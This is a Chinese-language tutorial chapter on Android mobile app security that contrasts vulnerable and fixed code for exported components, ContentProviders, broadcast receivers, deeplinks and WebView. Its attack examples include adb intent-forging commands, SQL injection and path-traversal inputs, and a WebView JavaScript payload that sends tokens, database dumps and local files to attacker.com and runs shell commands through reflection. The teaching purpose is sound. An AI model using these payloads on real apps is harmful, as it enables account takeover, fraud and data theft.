Web 时代: 用户输入不可信 → 数据来自用户,代码在我这 移动时代: 客户端不可信 → 代码也在用户手里(能反编译、能 Hook、能改内存) 小程序时代:代码在平台手里 → 但你的 AppID、云函数、接口还是你的三个必须建立的认知:
认知 含义 推论 ① 客户端的任何校验都只是“用户体验”,不是“安全控制” App 里写的“余额不能为负”、“VIP 才能看”都能被绕过(改内存 / Hook / 改包) 所有校验必须在服务端重做一遍 ② App 里没有任何“秘密” 硬编码的 API Key、加解密密钥、签名算法,都能被反编译出来 密钥不能放客户端,签名要用动态下发的或服务端做 ③ 移动端 90% 的漏洞其实是“接口漏洞” App 只是壳,真正的攻击面在它调的 API 第二章的 BOLA/BOPLA 在移动端一个都不少,而且更难被发现 本章路线图:
- 4.1 移动端与 Web 的根本差异(理论地基)
- 4.2 Android 四大组件暴露与 Intent 伪造
- 4.3 Android 数据存储与 WebView 安全
- 4.4 Android 逆向、Hook 与加固对抗
- 4.5 iOS 安全(钥匙串、越狱、ATS)
- 4.6 小程序安全(解包、登录态、云函数越权)
- 4.7 ★ 移动端接口安全(签名、防重放、设备指纹、证书绑定)
- 4.8 OWASP MASVS / Mobile Top 10 对照
- 4.9 面试题 D 组
- 4.10 小结
4.1 先讲清楚:移动端安全和 Web 到底差在哪
4.1.1 一句话定义 + 生活类比
移动端安全的核心问题:客户端运行在攻击者完全控制的设备上。
生活类比(★ 记住这个,面试讲这个很加分):
Web 应用 = 你在银行柜台办业务。 柜员(服务端)在银行里,你(客户端)在柜台外,中间隔着防弹玻璃。 你能做的只有“递纸条(发请求)”,而且你碰不到柜员的电脑。
移动 App = 银行把一台 ATM 机送到你家。 ATM 机的外壳能拆(反编译), 电路板能改(Hook / 改内存), 机器里的说明书能读(strings / 反汇编), 甚至能接个假键盘骗它(Frida 注入)。
★ 所以:ATM 机里不能放金库钥匙(密钥不能硬编码), ATM 机上的“余额不能为负”提示只是装饰(校验必须在服务端)。“
4.1.2 五个根本差异(面试必答)
| 维度 | Web | 移动 App | 小程序 |
|---|---|---|---|
| 代码在哪 | 服务端(用户看不到) | 用户设备上(可反编译) | 平台服务器(用户下载的是打包文件,也能解包) |
| 能改吗 | 不能 | 能(改包、Hook、改内存) | 能(改本地缓存,改不了远端代码) |
| 存储安全 | 服务端数据库 | SharedPreferences / SQLite / Keychain(设备上) | 平台提供的 Storage(沙箱隔离) |
| 身份凭据放哪 | HttpOnly Cookie(JS 拿不到) | 必须存在本地(Token 一定在设备上) | Storage(平台隔离) |
| 网络可信吗 | 走公网,有 TLS | 用户可能装了根证书做中间人(抓包) | 平台强制 HTTPS |
| 运行环境可信吗 | 浏览器(相对可信) | 可能 Root / 越狱 / 模拟器 / 多开 | 平台沙箱(相对可信,但有模拟器) |
4.1.3 ★ 移动端的“信任边界”图(必须理解)
┌───────────────────────────────────────────────────────────┐
│ 完全不可信区(攻击者的地盘) │
│ │
│ ┌──────────────────────────────────────────┐ │
│ │ App 进程 │ │
│ │ • 代码可被反编译 / 篡改 / 重打包 │ │
│ │ • 内存可被读写(Frida / Xposed / 改内存) │ │
│ │ • 本地存储可被读(Root 后直接读文件) │ │
│ │ • 网络流量可被抓(装个根证书就行) │ │
│ │ • 函数调用可被 Hook(改返回值) │ │
│ └──────────────────┬───────────────────────┘ │
│ │ ★ 信任边界在这里 │
└──────────────────────┼────────────────────────────────────┘
│
│ HTTPS + 证书绑定 + 接口签名
▼
┌───────────────────────────────────────────────────────────┐
│ 服务端(你的地盘) │
│ • 所有校验必须在这里重做一遍 │
│ • 不相信客户端传来的任何东西(包括"我是 VIP"这种标记) │
│ • 密钥只在这里 │
└───────────────────────────────────────────────────────────┘
★ 一句话:
客户端做的所有事情,都只能当作"提示",
服务端必须独立地、完整地、再判断一次。
4.1.4 移动端最常见的 5 类漏洞(先看全貌)
| 类别 | 典型问题 | 占比(大致) |
|---|---|---|
| ① 接口漏洞(★ 最多) | BOLA 越权、签名算法可被逆向、Token 长期有效、无防重放 | ~60% |
| ② 本地存储泄露 | Token/密码明文存 SharedPreferences、SQLite 里存敏感数据、日志打印敏感信息 | ~20% |
| ③ 组件暴露 | Android 四大组件 exported=true、Deeplink 劫持、WebView 漏洞 |
~10% |
| ④ 运行时攻击 | Root/越狱、Frida Hook、动态注入、多开、模拟器、改内存 | ~5% |
| ⑤ 代码与配置 | 硬编码密钥、API Key 泄露、调试开关未关、日志未关 | ~5% |
★ 面试金句(很重要,体现认知深度): “很多人把移动端安全的重点放在’防逆向、防 Hook、加壳加固’上, 但从实际漏洞分布看,60% 的移动安全问题其实是接口问题 —— 就是第二章讲的 BOLA、BOPLA、认证失效,只不过调用方从浏览器变成了 App。
而且移动端更危险:App 的接口很难被 WAF 和网关识别(它没有 Referer、没有 User-Agent 指纹、请求是原生发出的), 加上大多数团队对移动端接口的监控和限流都做得比 Web 端松, 攻击者抓个包就能拿到接口,然后直接用 curl 批量拖库,一条日志都看不出异常。
所以移动端安全的优先级应该是: ① 接口安全(BOLA + 签名 + 防重放 + Token 管理)→ ② 本地存储 → ③ 组件暴露 → ④ 运行时防护 → ⑤ 代码加固 加固(加壳、混淆)是最后 5%,但很多团队把它当成全部。“
4.2 Android 四大组件暴露与 Intent 伪造
4.2.1 先讲四个概念(不懂这四个后面的攻击都看不懂)
| 组件 | 白话 | 类比 |
|---|---|---|
| Activity | 一个“页面”(界面) | 银行的一个窗口 |
| Service | 后台干活的(无界面) | 银行的后台处理中心 |
| BroadcastReceiver | 收广播的(监听系统/应用消息) | 银行的广播喇叭(听到“3 号窗口暂停服务”就响应) |
| ContentProvider | 给其他 App 提供数据的接口 | 银行的公告牌(别人可以来查) |
★ exported 属性是什么?
exported决定这个组件能不能被其他 App 调用。
exported=true:任何 App 都能启动你的这个 Activity / 调你的 Serviceexported=false:只有你自己的 App(同 UID)能调生活类比:
exported=true相当于银行的后门没锁,任何路人都能推门进去。 而且很多开发者是被动开的 —— 只要在AndroidManifest.xml里给组件配了<intent-filter>, Android 就会默认把 exported 设成 true(Android 12 之前的行为)。
4.2.2 漏洞 1:Activity 暴露导致“绕过登录页”
漏洞代码:
<!-- ❌❌❌ AndroidManifest.xml:给了 intent-filter,于是默认 exported=true -->
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.example.bank">
<application>
<!-- 登录页 -->
<activity android:name=".LoginActivity">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
<!-- ❌ 危险:用户主页,本该登录才能进 -->
<activity android:name=".UserProfileActivity"
android:exported="true"> <!-- ★ 明写 true,或者配了 intent-filter 被默认成 true -->
</activity>
<!-- ❌ 更危险:转账页面暴露了! -->
<activity android:name=".TransferActivity">
<intent-filter>
<action android:name="com.example.bank.TRANSFER" />
<!-- ★ 配了 intent-filter → Android 12 之前默认 exported=true -->
</intent-filter>
</activity>
<!-- ❌ 最危险:管理后台页面 -->
<activity android:name=".AdminPanelActivity"
android:exported="true">
</activity>
</application>
</manifest>
/**
* ❌ 危险:Activity 里没有校验调用方,也没有校验登录态
*/
public class TransferActivity extends Activity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_transfer);
// ❌ 没有任何校验:谁启动我都能用
String fromAccount = getIntent().getStringExtra("from_account");
String toAccount = getIntent().getStringExtra("to_account");
long amount = getIntent().getLongExtra("amount", 0);
// ❌ 直接执行转账
transfer(fromAccount, toAccount, amount);
}
}
攻击方式(恶意 App,不需要任何权限):
/**
* 攻击 App —— 只要安装在同一台手机上,就能启动目标 App 的暴露组件
*/
public class AttackActivity extends Activity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
// ===== 攻击 1:直接打开转账页面(绕过登录)=====
Intent transfer = new Intent();
transfer.setClassName("com.example.bank",
"com.example.bank.TransferActivity");
transfer.putExtra("from_account", "受害者账号");
transfer.putExtra("to_account", "攻击者账号");
transfer.putExtra("amount", 999999L);
startActivity(transfer); // ★ 转账页面被打开了,用户看到的是真实界面
// ===== 攻击 2:打开用户资料页,看敏感信息 =====
Intent profile = new Intent();
profile.setClassName("com.example.bank",
"com.example.bank.UserProfileActivity");
startActivity(profile);
// ===== 攻击 3:打开管理后台 =====
Intent admin = new Intent();
admin.setClassName("com.example.bank",
"com.example.bank.AdminPanelActivity");
startActivity(admin);
}
}
也可以用 adb 直接测(不需要写 App):
# ===== 绕过登录直接进入转账页 =====
adb shell am start -n com.example.bank/.TransferActivity \
--es from_account "6222000012345678" \
--es to_account "6222999987654321" \
--el amount 999999
# ===== 打开管理后台 =====
adb shell am start -n com.example.bank/.AdminPanelActivity
# ★ 这就是为什么"Activity 暴露"是高危漏洞:
# 不需要 Root、不需要任何权限、装个普通 App 就能触发
✅ 修复:
<!-- ✅ 修复 1:所有不需要对外暴露的组件,显式设 exported=false -->
<manifest>
<application>
<!-- ✅ 只有启动页需要 exported=true(因为要被 Launcher 启动)-->
<activity android:name=".LoginActivity"
android:exported="true">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
<!-- ✅ 内部页面:显式 exported=false(★ 一定要显式写,别依赖默认行为)-->
<activity android:name=".UserProfileActivity"
android:exported="false" />
<activity android:name=".TransferActivity"
android:exported="false" /> <!-- ★ 去掉 intent-filter -->
<activity android:name=".AdminPanelActivity"
android:exported="false" />
<!-- ✅ Service / Receiver / Provider 同理 -->
<service android:name=".SyncService"
android:exported="false" />
<receiver android:name=".BootReceiver"
android:exported="false" />
<!-- ✅ Provider 用 permission 保护 -->
<provider android:name=".UserDataProvider"
android:authorities="com.example.bank.provider"
android:exported="false" <!-- ★ 或 false -->
android:grantUriPermissions="false" />
</application>
</manifest>
/**
* ✅ 修复 2:即使 exported,也要在代码里校验调用方和登录态(纵深防御)
*/
public class SecureTransferActivity extends Activity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
// ★ ① 校验登录态(★ 最重要)
if (!SessionManager.isLoggedIn()) {
Log.w("SEC", "未登录访问转账页,拒绝");
finish();
startActivity(new Intent(this, LoginActivity.class));
return;
}
// ★ ② 校验调用方签名(确认是自家 App 启动的,不是第三方)
if (!isCalledBySelf()) {
Log.e("SEC", "检测到外部 App 调用转账页,拒绝");
SecurityLogger.report("EXTERNAL_ACTIVITY_CALL", getCallingPackage());
finish();
return;
}
// ★ ③ 二次认证(转账这种敏感操作,必须再验证一次密码/指纹)
if (!BiometricHelper.authenticate(this, "请验证身份以完成转账")) {
finish();
return;
}
setContentView(R.layout.activity_transfer);
// ★ ④ 金额校验(客户端校验只是体验,服务端还要再校验)
long amount = getIntent().getLongExtra("amount", 0);
if (amount <= 0 || amount > getDailyLimit()) {
Toast.makeText(this, "金额非法", Toast.LENGTH_SHORT).show();
finish();
return;
}
}
/**
* ★ 校验调用方是不是自己(通过签名比对,而不是包名 —— 包名可伪造)
*/
private boolean isCalledBySelf() {
String callingPkg = getCallingPackage();
if (callingPkg == null) {
// ★ 注意:startActivity 方式启动时 getCallingPackage() 返回 null
// 所以这个校验只对 startActivityForResult 有效
// 更可靠的做法是用 ActivityManager 查最近任务
return true; // 无法判断时放行(登录态校验才是主要防线)
}
if (!getPackageName().equals(callingPkg)) {
return false;
}
// ★ 签名比对(防"同包名不同签名"的恶意 App)
try {
PackageInfo pi = getPackageManager().getPackageInfo(
callingPkg, PackageManager.GET_SIGNING_CERTIFICATES);
Signature[] sigs = pi.signingInfo.getApkContentsSigners();
String callerSig = SecurityUtils.sha256(sigs[0].toByteArray());
return TRUSTED_SIGNATURE.equals(callerSig);
} catch (Exception e) {
Log.e("SEC", "校验调用方签名失败", e);
return false;
}
}
}
4.2.3 漏洞 2:ContentProvider 暴露导致数据泄露
漏洞代码:
<!-- ❌ 危险:Provider 对外暴露且无权限保护 -->
<provider android:name=".UserDataProvider"
android:authorities="com.example.bank.provider"
android:exported="true" /> <!-- ★ 任何人都能查 -->
/**
* ❌ 危险:query() 里没有任何鉴权
*/
public class UserDataProvider extends ContentProvider {
@Override
public Cursor query(Uri uri, String[] projection, String selection,
String[] selectionArgs, String sortOrder) {
SQLiteDatabase db = dbHelper.getReadableDatabase();
// ❌ 直接查,不校验调用方身份
return db.query("users", projection, selection, selectionArgs,
null, null, sortOrder);
// ★ 攻击者可以查任意表、任意条件
}
}
攻击:
# ===== 用 adb 直接查询暴露的 ContentProvider =====
# ① 先看有哪些 Provider
adb shell dumpsys package com.example.bank | grep -A5 "Provider"
# ② 查询数据(★ 不需要 Root)
adb shell content query --uri content://com.example.bank.provider/users
# 输出(全部用户数据泄露):
# Row: 0 id=1, username=admin, password_hash=$2a$10$..., phone=13800138000, idcard=1101...
# Row: 1 id=2, username=zhangsan, password_hash=$2a$10$..., phone=13900139000, idcard=1102...
# ...
# ③ ★ SQL 注入(如果 Provider 拼了 SQL)
adb shell content query --uri content://com.example.bank.provider/users \
--where "1=1) UNION SELECT name,sql,null,null FROM sqlite_master--"
# ④ 有些 Provider 还支持文件读取(android:grantUriPermissions + FileProvider 配置错误)
adb shell content read --uri content://com.example.bank.provider/../../etc/hosts
✅ 修复:
<!-- ✅ 修复:不对外暴露;如果必须暴露,加权限保护 -->
<provider android:name=".UserDataProvider"
android:authorities="com.example.bank.provider"
android:exported="false" <!-- ★ 首选:不暴露 -->
android:grantUriPermissions="false" />
<!-- ✅ 如果必须跨 App 共享(比如主 App 和小程序宿主),用自定义权限 -->
<manifest>
<!-- ① 定义权限,protectionLevel=signature 表示"只有同签名 App 能拿到" -->
<permission android:name="com.example.bank.permission.READ_USER"
android:protectionLevel="signature" />
<application>
<!-- ② Provider 要求这个权限才能访问 -->
<provider android:name=".UserDataProvider"
android:authorities="com.example.bank.provider"
android:exported="true"
android:permission="com.example.bank.permission.READ_USER" <!-- ★ -->
android:grantUriPermissions="false" />
</application>
</manifest>
/**
* ✅ 修复:Provider 里做鉴权 + 投影白名单
*/
public class SecureUserDataProvider extends ContentProvider {
/** ★ 允许查询的列白名单(防止查 password_hash)*/
private static final Set<String> ALLOWED_COLUMNS =
Set.of("id", "username", "nickname", "avatar");
private static final int CODE_USERS = 1;
private static final UriMatcher uriMatcher = new UriMatcher(UriMatcher.NO_MATCH);
static {
// ★ 用 UriMatcher 严格限制能访问的 URI(防止拼路径访问其他表)
uriMatcher.addURI("com.example.bank.provider", "users", CODE_USERS);
}
@Override
public Cursor query(Uri uri, String[] projection, String selection,
String[] selectionArgs, String sortOrder) {
// ★ ① 校验调用方权限
if (getContext().checkCallingPermission(
"com.example.bank.permission.READ_USER")
!= PackageManager.PERMISSION_GRANTED) {
throw new SecurityException("没有权限访问该数据");
}
// ★ ② 检查 URI 是否在白名单里
if (uriMatcher.match(uri) != CODE_USERS) {
throw new IllegalArgumentException("不支持的 URI: " + uri);
}
// ★ ③ 投影白名单:过滤掉敏感列
String[] safeProjection = filterProjection(projection);
// ★ ④ 校验 selection(防 SQL 注入,虽然参数化后基本安全,但仍是纵深防御)
if (selection != null && containsDangerous(selection)) {
throw new IllegalArgumentException("非法的查询条件");
}
SQLiteDatabase db = dbHelper.getReadableDatabase();
// ★ ⑤ 参数化查询(selection 作为 whereClause,selectionArgs 作为参数)
return db.query("users", safeProjection, selection, selectionArgs,
null, null, sortOrder);
}
private String[] filterProjection(String[] projection) {
if (projection == null) {
return ALLOWED_COLUMNS.toArray(new String[0]);
}
List<String> filtered = Arrays.stream(projection)
.filter(ALLOWED_COLUMNS::contains)
.toList();
if (filtered.isEmpty()) {
throw new IllegalArgumentException("没有可查询的列");
}
return filtered.toArray(new String[0]);
}
private boolean containsDangerous(String s) {
String lower = s.toLowerCase();
return lower.contains("union") || lower.contains("sqlite_master")
|| lower.contains(";") || lower.contains("--");
}
}
4.2.4 漏洞 3:BroadcastReceiver 暴露(伪造广播 / 信息泄露)
漏洞代码:
<!-- ❌ 危险:Receiver 对外暴露,任何人都能发广播给它 -->
<receiver android:name=".CommandReceiver"
android:exported="true">
<intent-filter>
<action android:name="com.example.bank.COMMAND" />
</intent-filter>
</receiver>
/**
* ❌ 危险:收到广播就直接执行指令
*/
public class CommandReceiver extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
String cmd = intent.getStringExtra("command");
// ❌❌❌ 直接执行"命令",等同于后门
if ("transfer".equals(cmd)) {
String to = intent.getStringExtra("to");
long amount = intent.getLongExtra("amount", 0);
transfer(to, amount); // ★ 任何 App 都能让你转账
} else if ("logout".equals(cmd)) {
logout();
} else if ("export_data".equals(cmd)) {
// ★ 通过广播把数据发出去 = 数据外泄
Intent leak = new Intent("attacker.ACTION");
leak.putExtra("data", getAllUserData());
context.sendBroadcast(leak);
}
}
}
攻击:
# 用 adb 发广播(不需要 Root)
adb shell am broadcast -a com.example.bank.COMMAND \
--es command "transfer" \
--es to "6222999987654321" \
--el amount 999999
# ★ 更简单的:直接发一个带敏感数据的广播,看 Receiver 会不会打印到 logcat
adb shell am broadcast -a com.example.bank.COMMAND --es command "export_data"
adb logcat | grep -i "bank" # ★ 数据可能直接出现在日志里
✅ 修复:
<!-- ✅ 修复:不暴露 + 用权限保护 + Android 12+ 必须显式声明 exported -->
<receiver android:name=".CommandReceiver"
android:exported="false" <!-- ★ 首选 -->
android:permission="com.example.bank.permission.COMMAND" />
/**
* ✅ 修复:Receiver 里校验发送方
*/
public class SecureCommandReceiver extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
// ★ ① 校验发送方包名和签名
if (!isTrustedSender(context)) {
Log.e("SEC", "收到不可信来源的广播,忽略");
return;
}
String action = intent.getAction();
if (!"com.example.bank.COMMAND".equals(action)) {
return;
}
// ★ ② 指令白名单(绝不执行任意"命令")
String cmd = intent.getStringExtra("command");
switch (cmd == null ? "" : cmd) {
case "sync" -> doSync(); // 只允许安全的指令
default -> Log.w("SEC", "未知指令,忽略: " + cmd);
}
}
/**
* ★ 用 LocalBroadcastManager(应用内广播,其他 App 收不到也发不进来)
* 这是最干净的方案 —— 如果广播只在 App 内部用,根本不该对外暴露
*/
public static void sendInternalBroadcast(Context ctx, Intent intent) {
LocalBroadcastManager.getInstance(ctx).sendBroadcast(intent);
// ★ LocalBroadcastManager 已废弃,替代方案:
// ① 用 exported=false 的普通广播
// ② 用 androidx.localbroadcastmanager 的替代品(LiveData / Flow)
// ③ 用 setPackage(自己的包名) 限定接收方
}
}
4.2.5 漏洞 4:Deeplink / AppLink 劫持
先理解 Deeplink(★ 面试常考):
Deeplink = 用一个 URL 直接打开 App 的某个页面。 比如点
myapp://product/123就直接打开 App 的商品详情页,而不是网页。AppLink(Android 6+)= Deeplink 的“官方认证版”,用
https://开头 + 域名验证, 避免多个 App 抢同一个 scheme。
生活类比:
Deeplink 就像“快递柜取件码“ —— 谁拿着码都能开柜。 如果取件码是
myapp://user/9527, 那任何人给你发这个链接,点开就直接进 App 的某个页面了。
漏洞 1:Deeplink 劫持(钓鱼 + 绕过)
<!-- ❌ 危险:Deeplink Activity 暴露,且没有校验 -->
<activity android:name=".DeepLinkActivity"
android:exported="true">
<intent-filter>
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<category android:name="android.intent.category.BROWSABLE" />
<data android:scheme="myapp" android:host="user" />
</intent-filter>
</activity>
/**
* ❌ 危险:直接取 URL 参数去加载(★ 等同于开放重定向 + 可能的 WebView RCE)
*/
public class DeepLinkActivity extends Activity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
Uri uri = getIntent().getData();
// ❌ 直接用 URL 参数
String path = uri.getQueryParameter("url");
webView.loadUrl(path); // ★❌❌❌ 加载任意 URL = WebView 漏洞
}
}
攻击方式:
① 钓鱼页面诱导点击:
<a href="myapp://transfer?to=攻击者账号&amount=999999">点击领取红包</a>
→ 用户点开,直接进 App 的转账页
② 恶意网页自动跳转(★ 不需要用户点):
<script>location.href = "myapp://user/1";</script>
→ 打开浏览器就自动跳 App
③ ★ Deeplink 劫持(多个 App 注册同一个 scheme):
攻击者也写个 App,注册 myapp:// scheme
→ 用户点链接时系统弹出"用哪个 App 打开"
→ 用户可能选了攻击者的 App → 钓鱼
④ ★ 参数注入到 WebView(配合 WebView 漏洞 RCE):
myapp://webview?url=file:///data/data/com.example.bank/databases/users.db
→ WebView 加载本地数据库文件(如果开了 setAllowUniversalAccessFromFileURLs)
✅ 修复:
<!-- ✅ 修复 1:用 AppLink(https scheme + 域名验证),不用自定义 scheme -->
<activity android:name=".DeepLinkActivity"
android:exported="true"
android:autoVerify="true"> <!-- ★ 关键:启用域名自动验证 -->
<intent-filter android:autoVerify="true">
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<category android:name="android.intent.category.BROWSABLE" />
<!-- ★ 用 https + 自己的域名,而不是自定义 myapp:// -->
<data android:scheme="https"
android:host="app.example.com"
android:pathPrefix="/user" />
</intent-filter>
</activity>
<!-- ✅ 需要在自己的域名下放一个验证文件:
https://app.example.com/.well-known/assetlinks.json
-->
<!--
[{
"relation": ["delegate_permission/common.handle_all_urls"],
"target": {
"namespace": "android_app",
"package_name": "com.example.bank",
"sha256_cert_fingerprints": ["AA:BB:CC:..."] ← App 签名指纹
}
}]
-->
/**
* ✅ 修复 2:Deeplink Activity 里做严格校验
*/
public class SecureDeepLinkActivity extends Activity {
/** ★ 允许的 host 白名单 */
private static final Set<String> ALLOWED_HOSTS = Set.of("app.example.com");
/** ★ 允许的 path 前缀白名单 */
private static final Set<String> ALLOWED_PATHS = Set.of("/user", "/product", "/order");
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
Uri uri = getIntent().getData();
// ★ ① 空值检查
if (uri == null) {
finish();
return;
}
// ★ ② host 白名单(★ 关键:防止别的域名伪造)
String host = uri.getHost();
if (host == null || !ALLOWED_HOSTS.contains(host)) {
Log.e("SEC", "非法的 Deeplink host: " + host);
finish();
return;
}
// ★ ③ path 白名单
String path = uri.getPath();
if (path == null || ALLOWED_PATHS.stream().noneMatch(path::startsWith)) {
Log.e("SEC", "非法的 Deeplink path: " + path);
finish();
return;
}
// ★ ④ 校验来源(防止从不可信网页跳进来)
if (!isFromTrustedSource()) {
Log.w("SEC", "Deeplink 来源不可信");
// 对于敏感操作,要求重新验证
}
// ★ ⑤ 敏感页面要求登录 + 二次认证
if (isSensitivePage(path) && !SessionManager.isLoggedIn()) {
Intent login = new Intent(this, LoginActivity.class);
login.putExtra("redirect_uri", uri.toString());
startActivity(login);
finish();
return;
}
// ★ ⑥ 【绝不】用 Deeplink 参数直接加载 WebView
// ❌ webView.loadUrl(uri.getQueryParameter("url"));
// ✅ 只允许打开固定的白名单页面
openPageByPath(path, uri);
}
private boolean isFromTrustedSource() {
// 检查 getReferrer()(Android 5.1+)
Uri referrer = getReferrer();
if (referrer == null) return false;
String refHost = referrer.getHost();
return refHost != null
&& (refHost.endsWith(".example.com")
|| refHost.equals("example.com"));
}
private boolean isSensitivePage(String path) {
return path.startsWith("/user")
|| path.startsWith("/order")
|| path.startsWith("/pay");
}
private void openPageByPath(String path, Uri uri) {
// 按白名单分发,绝不通用跳转
if (path.startsWith("/product")) {
String id = uri.getLastPathSegment();
if (id != null && id.matches("\\d+")) { // ★ 参数格式校验
openProductDetail(id);
}
} else if (path.startsWith("/order")) {
String id = uri.getLastPathSegment();
if (id != null && id.matches("\\d+")) {
openOrderDetail(id);
}
} else {
openHomePage();
}
}
}
4.2.6 漏洞 5:WebView 安全(★ 移动端 RCE 的主要来源)
★ 为什么 WebView 危险: WebView 本质上是一个内嵌的浏览器,它有 JS 引擎、能加载 file://、能通过 JS 调 Java。 一个配置错误的 WebView = 一个拿了你 App 权限的浏览器。
五个致命配置(★ 面试必背):
| 配置 | 危险值 | 后果 | 安全值 |
|---|---|---|---|
setJavaScriptEnabled |
true(且加载不可信页面) |
JS 可执行 | 加载可信页面可开;加载外部页面要评估 |
addJavascriptInterface |
给不可信页面加了 | ★ JS 可调 Java 方法 = RCE(Android 4.2 以下无防护) | Android 4.2+ 必须给方法加 @JavascriptInterface;绝不给不可信页面加 |
setAllowFileAccessFromFileURLs |
true |
file:// 页面里的 JS 能读本地文件 | false |
setAllowUniversalAccessFromFileURLs |
true |
★ file:// 页面里的 JS 能读任意文件(包括其他 App 的) | false |
setAllowContentAccess |
true |
file:// 能访问 ContentProvider | false(不需要时) |
setSavePassword |
true |
明文保存密码 | false(已废弃) |
漏洞代码:
/**
* ❌❌❌ 典型危险 WebView 配置(这是移动端 RCE 的经典写法)
*/
public class VulnerableWebActivity extends Activity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
WebView webView = findViewById(R.id.webview);
WebSettings settings = webView.getSettings();
settings.setJavaScriptEnabled(true);
// ❌❌❌ 致命:给 WebView 注入了 Java 对象
webView.addJavascriptInterface(new JsBridge(this), "nativeBridge");
// ↑ 页面里的 JS 可以执行:nativeBridge.getClass()... 反射调用任意方法
// Android 4.2 (API 17) 以下,【没有 @JavascriptInterface 也能调】
// 通过反射能拿到 Runtime 执行命令 → RCE
// ❌❌❌ 致命:允许 file:// 页面读任意文件
settings.setAllowFileAccessFromFileURLs(true);
settings.setAllowUniversalAccessFromFileURLs(true);
settings.setAllowContentAccess(true);
// ❌ 危险:直接用外部传入的 URL
String url = getIntent().getStringExtra("url");
webView.loadUrl(url); // ★ 攻击者传 file:///data/data/.../users.db
}
/**
* ❌ 危险:暴露给 JS 的 Java 对象
*/
public class JsBridge {
private Context ctx;
JsBridge(Context c) { this.ctx = c; }
// ❌ 没有 @JavascriptInterface 注解(Android 4.2 以下仍可调用)
public String getToken() {
return SessionManager.getToken(); // ★ JS 能拿到登录 Token
}
public String execSql(String sql) {
return db.rawQuery(sql); // ★ JS 能执行任意 SQL
}
public void sendSms(String to, String content) {
SmsManager.getDefault().sendTextMessage(to, null, content, null, null);
} // ★ JS 能发短信(扣费)
}
}
攻击 Payload(真实可用):
<!-- 攻击者诱导 WebView 加载这个页面 -->
<html>
<body>
<script>
// ===== 攻击 1:拿到登录 Token =====
var token = nativeBridge.getToken();
fetch("https://attacker.com/steal?t=" + token);
// ===== 攻击 2:执行任意 SQL =====
var data = nativeBridge.execSql("SELECT * FROM users");
fetch("https://attacker.com/steal?d=" + encodeURIComponent(data));
// ===== 攻击 3(Android 4.2 以下):反射 RCE =====
// JS 能拿到 Java 对象的 Class,然后反射调用任意方法
function execute(cmdArgs) {
// 通过 getClass() 拿到 Runtime,执行命令
var runtime = nativeBridge.getClass()
.forName("java.lang.Runtime")
.getMethod("getRuntime", null)
.invoke(null, null);
runtime.exec(cmdArgs);
}
execute(["/system/bin/sh", "-c", "cat /data/data/com.example.bank/databases/users.db > /sdcard/leak.db"]);
// ===== 攻击 4:读取本地文件(需要 setAllowUniversalAccessFromFileURLs=true)=====
var xhr = new XMLHttpRequest();
xhr.open("GET", "file:///data/data/com.example.bank/shared_prefs/config.xml", false);
xhr.send();
fetch("https://attacker.com/steal?f=" + encodeURIComponent(xhr.responseText));
// ===== 攻击 5:发短信扣费 =====
nativeBridge.sendSms("1066xxxx", "订阅服务");
</script>
</body>
</html>
✅ 完整的安全 WebView 配置:
/**
* ✅✅✅ 安全 WebView 配置(生产可用模板)
*/
public class SecureWebActivity extends Activity {
private WebView webView;
/** ★ 允许的域名白名单 */
private static final Set<String> ALLOWED_HOSTS =
Set.of("app.example.com", "m.example.com", "pay.example.com");
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_web);
webView = findViewById(R.id.webview);
configureSecureWebView(webView);
Uri uri = getIntent().getData();
if (uri != null && isAllowedUrl(uri)) {
webView.loadUrl(uri.toString());
} else {
Log.e("SEC", "拒绝加载非白名单 URL: " + uri);
finish();
}
}
private void configureSecureWebView(WebView wv) {
WebSettings settings = wv.getSettings();
// ===== ① JS 开关:按需开启,加载外部页面要评估 =====
settings.setJavaScriptEnabled(true); // 业务需要就开,但要配合下面的白名单
// ===== ② ★★ 三个 file 相关配置,全部关掉 =====
settings.setAllowFileAccess(false); // ★ 禁止 file:// 访问
settings.setAllowFileAccessFromFileURLs(false); // ★ 默认值已是 false,但要显式写
settings.setAllowUniversalAccessFromFileURLs(false); // ★★ 最关键
settings.setAllowContentAccess(false); // ★ 禁止访问 ContentProvider
// ===== ③ 存储相关 =====
settings.setSavePassword(false); // 不保存密码
settings.setSaveFormData(false); // 不保存表单
settings.setDomStorageEnabled(true); // 业务需要,但注意数据会落盘
settings.setDatabaseEnabled(false);
// ===== ④ ★ 地理定位:默认关闭,用时弹窗确认 =====
settings.setGeolocationEnabled(false);
// ===== ⑤ 其他安全配置 =====
settings.setAllowFileAccessFromFileURLs(false);
// ★ 禁止通过 <img src> 等加载混合内容
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP) {
settings.setMixedContentMode(
WebSettings.MIXED_CONTENT_NEVER_ALLOW); // ★ 禁止 HTTP/HTTPS 混合
}
// ===== ⑥ 不缓存敏感页面 =====
settings.setCacheMode(WebSettings.LOAD_NO_CACHE);
// ===== ⑦ ★ WebViewClient:拦截所有 URL 跳转,做白名单 =====
wv.setWebViewClient(new WebViewClient() {
@Override
public boolean shouldOverrideUrlLoading(WebView view, WebResourceRequest request) {
Uri uri = request.getUri();
// ★ 白名单校验(★ 最关键的一道)
if (!isAllowedUrl(uri)) {
Log.e("SEC", "拦截非白名单跳转: " + uri);
return true; // ★ 返回 true = 拦截,不让 WebView 加载
}
// ★ 特殊 scheme 处理(tel:、sms:、alipays: 等)
String scheme = uri.getScheme();
